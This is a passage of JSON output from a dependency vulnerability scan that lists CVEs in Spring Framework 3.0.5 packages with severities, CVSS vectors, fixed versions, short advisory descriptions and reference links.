              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/103696",
            "https://access.redhat.com/errata/RHSA-2018:2939",
            "https://access.redhat.com/security/cve/CVE-2018-1270",
            "https://bugs.launchpad.net/ubuntu/+source/saaj/+bug/1814133",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1270",
            "https://github.com/advisories/GHSA-p5hg-3xm3-gcjg",
            "https://lists.apache.org/thread.html/4ed49b103f64a0cecb38064f26cbf1389afc12124653da2d35166dbe%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/4ed49b103f64a0cecb38064f26cbf1389afc12124653da2d35166dbe@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/6d3d34adcf3dfc48e36342aa1f18ce3c20bb8e4c458a97508d5bfed1%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/6d3d34adcf3dfc48e36342aa1f18ce3c20bb8e4c458a97508d5bfed1@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/ab825fcade0b49becfa30235b3d54f4a51bb74ea96b6c9adb5d1378c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/ab825fcade0b49becfa30235b3d54f4a51bb74ea96b6c9adb5d1378c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/dcf8599b80e43a6b60482607adb76c64672772dc2d9209ae2170f369%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/dcf8599b80e43a6b60482607adb76c64672772dc2d9209ae2170f369@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E",
            "https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2@%3Cissues.geode.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2021/04/msg00022.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-1270",
            "https://pivotal.io/security/cve-2018-1270",
            "https://www.cve.org/CVERecord?id=CVE-2018-1270",
            "https://www.exploit-db.com/exploits/44796/",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2018-04-06T13:29:00Z",
          "LastModifiedDate": "2023-11-07T02:55:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-1275",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "4.3.16, 5.0.5",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-1275",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "spring-framework: Address partial fix for CVE-2018-1270",
          "Description": "Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.16 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack. This CVE addresses the partial fix for CVE-2018-1270 in the 4.3.x branch of the Spring Framework.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-94"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/103771",
            "http://www.securitytracker.com/id/1041301",
            "https://access.redhat.com/errata/RHSA-2018:1320",
            "https://access.redhat.com/errata/RHSA-2018:2939",
            "https://access.redhat.com/security/cve/CVE-2018-1275",
            "https://github.com/advisories/GHSA-3rmv-2pg5-xvqj",
            "https://lists.apache.org/thread.html/4ed49b103f64a0cecb38064f26cbf1389afc12124653da2d35166dbe%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/4ed49b103f64a0cecb38064f26cbf1389afc12124653da2d35166dbe@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/ab825fcade0b49becfa30235b3d54f4a51bb74ea96b6c9adb5d1378c%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/ab825fcade0b49becfa30235b3d54f4a51bb74ea96b6c9adb5d1378c@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/dcf8599b80e43a6b60482607adb76c64672772dc2d9209ae2170f369%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/dcf8599b80e43a6b60482607adb76c64672772dc2d9209ae2170f369@%3Cissues.activemq.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-1275",
            "https://pivotal.io/security/cve-2018-1275",
            "https://www.cve.org/CVERecord?id=CVE-2018-1275",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2018-04-11T13:29:00Z",
          "LastModifiedDate": "2023-11-07T02:55:00Z"
        },
        {
          "VulnerabilityID": "CVE-2011-2730",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "3.0.6, 2.5.6.SEC03, 2.5.7.SR023",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2011-2730",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Spring Framework: Information (internal server information, classpath, local working directories, session IDs) disclosure",
          "Description": "VMware SpringSource Spring Framework before 2.5.6.SEC03, 2.5.7.SR023, and 3.x before 3.0.6, when a container supports Expression Language (EL), evaluates EL expressions in tags twice, which allows remote attackers to obtain sensitive information via a (1) name attribute in a (a) spring:hasBindErrors tag; (2) path attribute in a (b) spring:bind or (c) spring:nestedpath tag; (3) arguments, (4) code, (5) text, (6) var, (7) scope, or (8) message attribute in a (d) spring:message or (e) spring:theme tag; or (9) var, (10) scope, or (11) value attribute in a (f) spring:transform tag, aka \"Expression Language Injection.\"",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-16"
          ],
          "CVSS": {
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V2Score": 7.5
            },
            "redhat": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
              "V2Score": 6.4
            }
          },
          "References": [
            "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=677814",
            "http://rhn.redhat.com/errata/RHSA-2013-0191.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0192.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0193.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0194.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0195.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0196.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0197.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0198.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0221.html",
            "http://rhn.redhat.com/errata/RHSA-2013-0533.html",
            "http://secunia.com/advisories/51984",
            "http://secunia.com/advisories/52054",
            "http://secunia.com/advisories/55155",
            "http://support.springsource.com/security/cve-2011-2730",
            "http://www.debian.org/security/2012/dsa-2504",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html",
            "http://www.securitytracker.com/id/1029151",
            "https://access.redhat.com/security/cve/CVE-2011-2730",
            "https://docs.google.com/document/d/1dc1xxO8UMFaGLOwgkykYdghGWm_2Gn0iCrxFsympqcE/edit",
            "https://github.com/spring-projects/spring-framework",
            "https://nvd.nist.gov/vuln/detail/CVE-2011-2730",
            "https://www.cve.org/CVERecord?id=CVE-2011-2730"
          ],
          "PublishedDate": "2012-12-05T17:55:00Z",
          "LastModifiedDate": "2017-08-09T01:29:00Z"
        },
        {
          "VulnerabilityID": "CVE-2015-5211",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "4.2.2, 4.1.8, 3.2.15",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2015-5211",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Under some situations, the Spring Framework 4.2.0 to 4.2.1, 4.0.0 to 4 ...",
          "Description": "Under some situations, the Spring Framework 4.2.0 to 4.2.1, 4.0.0 to 4.1.7, 3.2.0 to 3.2.14 and older unsupported versions is vulnerable to a Reflected File Download (RFD) attack. The attack involves a malicious user crafting a URL with a batch script extension that results in the response being downloaded rather than rendered and also includes some input reflected in the response.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-552"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
              "V3Score": 8.6
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
              "V2Score": 9.3,
              "V3Score": 9.6
            }
          },
          "References": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5211",
            "https://github.com/advisories/GHSA-pgf9-h69p-pcgf",
            "https://github.com/spring-projects/spring-framework",
            "https://github.com/spring-projects/spring-framework/commit/03f547",
            "https://github.com/spring-projects/spring-framework/commit/2bd1da",
            "https://github.com/spring-projects/spring-framework/commit/a95c3d",
            "https://jira.spring.io/browse/SPR-13548",
            "https://lists.debian.org/debian-lts-announce/2019/07/msg00012.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2015-5211",
            "https://pivotal.io/security/cve-2015-5211",
            "https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/"
          ],
          "PublishedDate": "2017-05-25T17:29:00Z",
          "LastModifiedDate": "2022-06-05T03:44:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-5007",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "4.3.1",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-5007",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Path matching inconsistency",
          "Description": "Both Spring Security 3.2.x, 4.0.x, 4.1.0 and the Spring Framework 3.2.x, 4.0.x, 4.1.x, 4.2.x rely on URL pattern mappings for authorization and for mapping requests to controllers respectively. Differences in the strictness of the pattern matching mechanisms, for example with regards to space trimming in path segments, can lead Spring Security to not recognize certain paths as not protected that are in fact mapped to Spring MVC controllers that should be protected. The problem is compounded by the fact that the Spring Framework provides richer features with regards to pattern matching as well as by the fact that pattern matching in each Spring Security and the Spring Framework can easily be customized creating additional differences.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-264"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
              "V2Score": 4.3,
              "V3Score": 5.3
            }
          },
          "References": [
            "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html",
            "http://www.securityfocus.com/bid/91687",
            "https://access.redhat.com/security/cve/CVE-2016-5007",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5007",
            "https://github.com/advisories/GHSA-8crv-49fr-2h6j",
            "https://github.com/spring-projects/spring-security/commit/e4c13e",
            "https://github.com/spring-projects/spring-security/issues/3964",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-5007",
            "https://pivotal.io/security/cve-2016-5007",
            "https://www.cve.org/CVERecord?id=CVE-2016-5007",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2017-05-25T17:29:00Z",
          "LastModifiedDate": "2022-04-11T17:18:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-1272",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "4.3.15, 5.0.5",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-1272",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "spring-framework: Multipart content pollution",
          "Description": "Spring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, provide client-side support for multipart requests. When Spring MVC or Spring WebFlux server application (server A) receives input from a remote client, and then uses that input to make a multipart request to another server (server B), it can be exposed to an attack, where an extra multipart is inserted in the content of the request from server A, causing server B to use the wrong value for a part it expects. This could to lead privilege escalation, for example, if the part content represents a username or user roles.",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
              "V3Score": 5.3
            }
          },
          "References": [
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/103697",
            "https://access.redhat.com/errata/RHSA-2018:1320",
            "https://access.redhat.com/errata/RHSA-2018:2669",
            "https://access.redhat.com/security/cve/CVE-2018-1272",
            "https://github.com/advisories/GHSA-4487-x383-qpph",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-1272",
            "https://pivotal.io/security/cve-2018-1272",
            "https://www.cve.org/CVERecord?id=CVE-2018-1272",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2018-04-06T13:29:00Z",
          "LastModifiedDate": "2022-06-23T16:33:00Z"
        },
        {
          "VulnerabilityID": "CVE-2018-15756",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "5.1.1, 5.0.10, 4.3.20",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2018-15756",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "springframework: DoS Attack via Range Requests",
          "Description": "Spring Framework, version 5.1, versions 5.0.x prior to 5.0.10, versions 4.3.x prior to 4.3.20, and older unsupported versions on the 4.2.x branch provide support for range requests when serving static resources through the ResourceHttpRequestHandler, or starting in 5.0 when an annotated controller returns an org.springframework.core.io.Resource. A malicious user (or attacker) can add a range header with a high number of ranges, or with wide ranges that overlap, or both, for a denial of service attack. This vulnerability affects applications that depend on either spring-webmvc or spring-webflux. Such applications must also have a registration for serving static resources (e.g. JS, CSS, images, and others), or have an annotated controller that returns an org.springframework.core.io.Resource. Spring Boot applications that depend on spring-boot-starter-web or spring-boot-starter-webflux are ready to serve static resources out of the box and are therefore vulnerable.",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
              "V3Score": 3.1
            }
          },
          "References": [
            "http://www.securityfocus.com/bid/105703",
            "https://access.redhat.com/security/cve/CVE-2018-15756",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15756",
            "https://lists.apache.org/thread.html/339fd112517e4873695b5115b96acdddbfc8f83b10598528d37c7d12%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/339fd112517e4873695b5115b96acdddbfc8f83b10598528d37c7d12@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/77886fec378ee6064debb1efb6b464a4a0173b2ff0d151ed86d3a228%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/77886fec378ee6064debb1efb6b464a4a0173b2ff0d151ed86d3a228@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/7b156ee50ba3ecce87b33c06bf7a749d84ffee55e69bfb5eca88fcc3%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/7b156ee50ba3ecce87b33c06bf7a749d84ffee55e69bfb5eca88fcc3@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/8a1fe70534fc52ff5c9db5ac29c55657f802cbefd7e9d9850c7052bd%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/8a1fe70534fc52ff5c9db5ac29c55657f802cbefd7e9d9850c7052bd@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/a3071e11c6fbd593022074ec1b4693f6d948c2b02cfa4a5d854aed68%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/a3071e11c6fbd593022074ec1b4693f6d948c2b02cfa4a5d854aed68@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/bb354962cb51fff65740d5fb1bc2aac56af577c06244b57c36f98e4d%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/bb354962cb51fff65740d5fb1bc2aac56af577c06244b57c36f98e4d@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/d6a84f52db89804b0ad965f3ea2b24bb880edee29107a1c5069cc3dd%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/d6a84f52db89804b0ad965f3ea2b24bb880edee29107a1c5069cc3dd@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/efaa52b0aa67aae7cbd9e6ef96945387e422d7ce0e65434570a37b1d%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/efaa52b0aa67aae7cbd9e6ef96945387e422d7ce0e65434570a37b1d@%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/f8905507a2c94af6b08b72d7be0c4b8c6660e585f00abfafeccc86bc%40%3Cissues.activemq.apache.org%3E",
            "https://lists.apache.org/thread.html/f8905507a2c94af6b08b72d7be0c4b8c6660e585f00abfafeccc86bc@%3Cissues.activemq.apache.org%3E",
            "https://lists.debian.org/debian-lts-announce/2021/04/msg00022.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-15756",
            "https://pivotal.io/security/cve-2018-15756",
            "https://www.cve.org/CVERecord?id=CVE-2018-15756",
            "https://www.oracle.com//security-alerts/cpujul2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2020.html",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
          ],
          "PublishedDate": "2018-10-18T22:29:00Z",
          "LastModifiedDate": "2023-11-07T02:53:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-22968",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "5.3.19, 5.2.21",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-22968",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Data Binding Rules Vulnerability",
          "Description": "In Spring Framework versions 5.3.0 - 5.3.18, 5.2.0 - 5.2.20, and older unsupported versions, the patterns for disallowedFields on a DataBinder are case sensitive which means a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including upper and lower case for the first character of all nested fields within the property path.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-178"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
              "V2Score": 5,
              "V3Score": 5.3
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
              "V3Score": 5.3
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2022-22968",
            "https://github.com/spring-projects/spring-framework",
            "https://github.com/spring-projects/spring-framework/commit/833e750175349ab4fd502109a8b41af77e25cdea",
            "https://github.com/spring-projects/spring-framework/commit/a7cf19cec5ebd270f97a194d749e2d5701ad2ab7",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-22968",
            "https://security.netapp.com/advisory/ntap-20220602-0004/",
            "https://tanzu.vmware.com/security/cve-2022-22968",
            "https://www.cve.org/CVERecord?id=CVE-2022-22968",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-04-14T21:15:00Z",
          "LastModifiedDate": "2022-10-19T15:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2022-22970",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "5.2.22.RELEASE, 5.3.20",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2022-22970",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "DoS via data binding to multipartFile or servlet part",
          "Description": "In spring framework versions prior to 5.3.20+ , 5.2.22+ and old unsupported versions, applications that handle file uploads are vulnerable to DoS attack if they rely on data binding to set a MultipartFile or javax.servlet.Part to a field in a model object.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-770"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:S/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 3.5,
              "V3Score": 5.3
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 5.3
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2022-22970",
            "https://github.com/spring-projects/spring-framework",
            "https://nvd.nist.gov/vuln/detail/CVE-2022-22970",
            "https://security.netapp.com/advisory/ntap-20220616-0006/",
            "https://tanzu.vmware.com/security/cve-2022-22970",
            "https://www.cve.org/CVERecord?id=CVE-2022-22970",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-05-12T20:15:00Z",
          "LastModifiedDate": "2022-10-07T13:17:00Z"
        },
        {
          "VulnerabilityID": "CVE-2023-20863",
          "PkgID": "org.springframework:spring-core:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-core",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "6.0.8, 5.3.27, 5.2.24.RELEASE",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-20863",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Spring Expression DoS Vulnerability",
          "Description": "In spring framework versions prior to 5.2.24 release+ ,5.3.27+ and 6.0.8+ , it is possible for a user to provide a specially crafted SpEL expression that may cause a denial-of-service (DoS) condition.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-917"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 7.5
            },
            "nvd": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 6.5
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 6.5
            }
          },
          "References": [
            "https://access.redhat.com/security/cve/CVE-2023-20863",
            "https://github.com/spring-projects/spring-framework",
            "https://github.com/spring-projects/spring-framework/commit/b73f5fcac22555f844cf27a7eeb876cb9d7f7f7e",
            "https://nvd.nist.gov/vuln/detail/CVE-2023-20863",
            "https://spring.io/security/cve-2023-20863",
            "https://www.cve.org/CVERecord?id=CVE-2023-20863"
          ],
          "PublishedDate": "2023-04-13T20:15:00Z",
          "LastModifiedDate": "2023-04-21T18:04:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-1000027",
          "PkgID": "org.springframework:spring-web:3.0.5.RELEASE",
          "PkgName": "org.springframework:spring-web",
          "InstalledVersion": "3.0.5.RELEASE",
          "FixedVersion": "6.0.0",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-1000027",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "spring: HttpInvokerServiceExporter readRemoteInvocation method untrusted java deserialization",
